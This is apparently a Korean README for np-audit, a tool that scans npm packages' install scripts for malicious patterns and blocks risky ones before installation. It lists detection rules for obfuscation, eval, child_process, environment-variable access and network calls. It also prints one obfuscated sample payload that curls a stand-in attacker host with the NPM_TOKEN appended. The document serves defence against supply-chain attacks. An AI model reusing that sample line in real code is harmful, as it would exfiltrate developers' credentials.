npm install -g np-audit
npa scan                     # 모든 종속성 스캔
npa install                  # 감사 후 설치
alias npm='npa'              # 드롭인 대체재로 사용

Marshaller	감지 대상	점수
`eval/dynamic-exec`	`eval()`, `new Function()`, 간접 eval, `vm.*`, 문자열이 포함된 `setTimeout`	8
`obfuscator.io`	`_0x` 변수 명명 패턴 (obfuscator.io 출력)	9–80
`high-entropy-string`	높은 섀넌 엔트로피를 가진 긴 문자열 또는 연결 체인	6
`hex-escape-density`	조밀한 `\xNN` 및 `\uXXXX` 이스케이프 시퀀스	5–50
`fromCharCode`	많은 인수를 가진 `String.fromCharCode`, 큰 10진수 문자 코드 배열	7
`encoded-decode`	Base64/16진수 디코드 (`atob`, `Buffer.from`) 선택적으로 `eval`과 결합	3–8
`child-process`	`require('child_process')`, `exec`, `spawn`, `fork`, worker_threads	5
`hex-array`	많은 수의 `0x` 16진수 리터럴 값	7–60
`process-env`	`process.env` 접근 (자격 증명 유출 신호)	3
`network-call`	`require('https')`, `fetch()`, `dns`, `net`, `tls`	4
`filesystem-manipulation`	`fs.writeFile`, `chmod`, `symlink` (백도어 지속성)	3–4
`runtime-download`	외부 런타임 (Bun, Deno) 다운로드 및 실행	9–50
`vscode-autorun`	`runOn: folderOpen`이 설정된 VS Code 작업 (자동 실행)	30
`known-vulnerability`

명령어	별칭	설명
`npa install [package]`	`npa i`	감사 후 `npm install` 실행
`npa ci`	—	감사 후 `npm ci` 실행
`npa scan [package]`	`npa s`	스캔만 수행, 설치하지 않음
`npa config get`	`npa c get`	현재 설정 보기
`npa config set <key> <value>`	`npa c set`	설정 값 업데이트
`npa alias --install`	—	셸 별칭 설치
`npa alias --uninstall`	—	셸 별칭 제거

플래그	별칭	함께 사용 가능	설명
`--review`	`-r`	`install`, `ci`	대화형 모드 — 허용할 스크립트 선택
`--json`	—	`install`, `ci`, `scan`	기계 판독 가능 JSON 출력
`--no-dev`	—	`install`, `ci`, `scan`	devDependencies 건너뛰기
`--verbose`	—	all	가져오기 진행률 및 추가 세부 정보 표시
`--version`	`-v`	—	버전 출력 후 종료
`--help`	`-h`	—	도움말 출력 후 종료

  npa --review 모드
  ↑/↓ 키로 이동, SPACE로 전환, ENTER로 확인, q로 종료

  설치 스크립트가 있는 패키지 3개 발견:

     [✓ 허용] [email protected]       postinstall: post-install.js     OK
   ▶ [✗ 거부] [email protected]       postinstall: install.js          DANGER (점수: 9)
     [✓ 허용] @scope/[email protected]     postinstall: install.js          WARN (점수: 5)

  2개 허용됨  1개 거부됨

npa config get                              # 현재 설정 보기
npa config set blockScore 6                 # 점수 6 이상에서 차단
npa config set skipPackages '["esbuild"]'   # 특정 패키지 신뢰
npa config set skipScopes '["@types"]'      # 전체 범위 신뢰

키	기본값	설명
`blockScore`	`7`	DANGER (종료 코드 1)에 대한 점수 임계값
`warnScore`	`4`	WARN (종료 코드 0)에 대한 점수 임계값
`registry`	`https://registry.npmjs.org`	npm 레지스트리 URL
`timeout`	`30000`	HTTP 요청 시간 초과 (ms)
`parallelFetches`	`5`	동시 다운로드 수
`skipScopes`	`[]`	건너뛸 `@scope` 접두사
`skipPackages`	`[]`	건너뛸 패키지 이름
`silent`	`false`	문제가 없을 때 출력 억제
`scanSelf`	`true`	자체 프로젝트 라이프사이클 스크립트 스캔
`maxTarballSize`	`50MB`	최대 압축 해제 tarball 크기 (폭탄 방지)
`checkVulnerabilities`	`true`	CVE 데이터베이스에서 패키지 확인
`deepResolve`	`false`	전체 전이 종속성 트리 확인
`disabledMarshallers`	`[]`	스캔 중 건너뛸 마셜러 이름

var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl http://evil.example.com/\'+process.env.NPM_TOKEN)');

코드	의미
`0`	모두 깨끗하거나 경고만 있음
`1`	하나 이상의 패키지가 차단됨

np-audit

인기

마셜러(Marshaller)

취약점 스캔 (CVE)

사용법

명령어

플래그

대화형 `--review` 모드

설정

모든 설정 키

마셜러 비활성화

셸 별칭

작동 방식

공격 벡터

종료 코드

라이선스

심각도	점수	판정
악성 패키지	80	DANGER
10개 이상의 취약점	6	WARN
5–9개 취약점	5	WARN
1–4개 취약점	4	WARN

np-audit

인기

np-audit — npm 패키지 감사기

마셜러(Marshaller)

취약점 스캔 (CVE)

사용법

명령어

플래그

대화형 --review 모드

설정

모든 설정 키

마셜러 비활성화

셸 별칭

작동 방식

공격 벡터

종료 코드

라이선스

대화형 `--review` 모드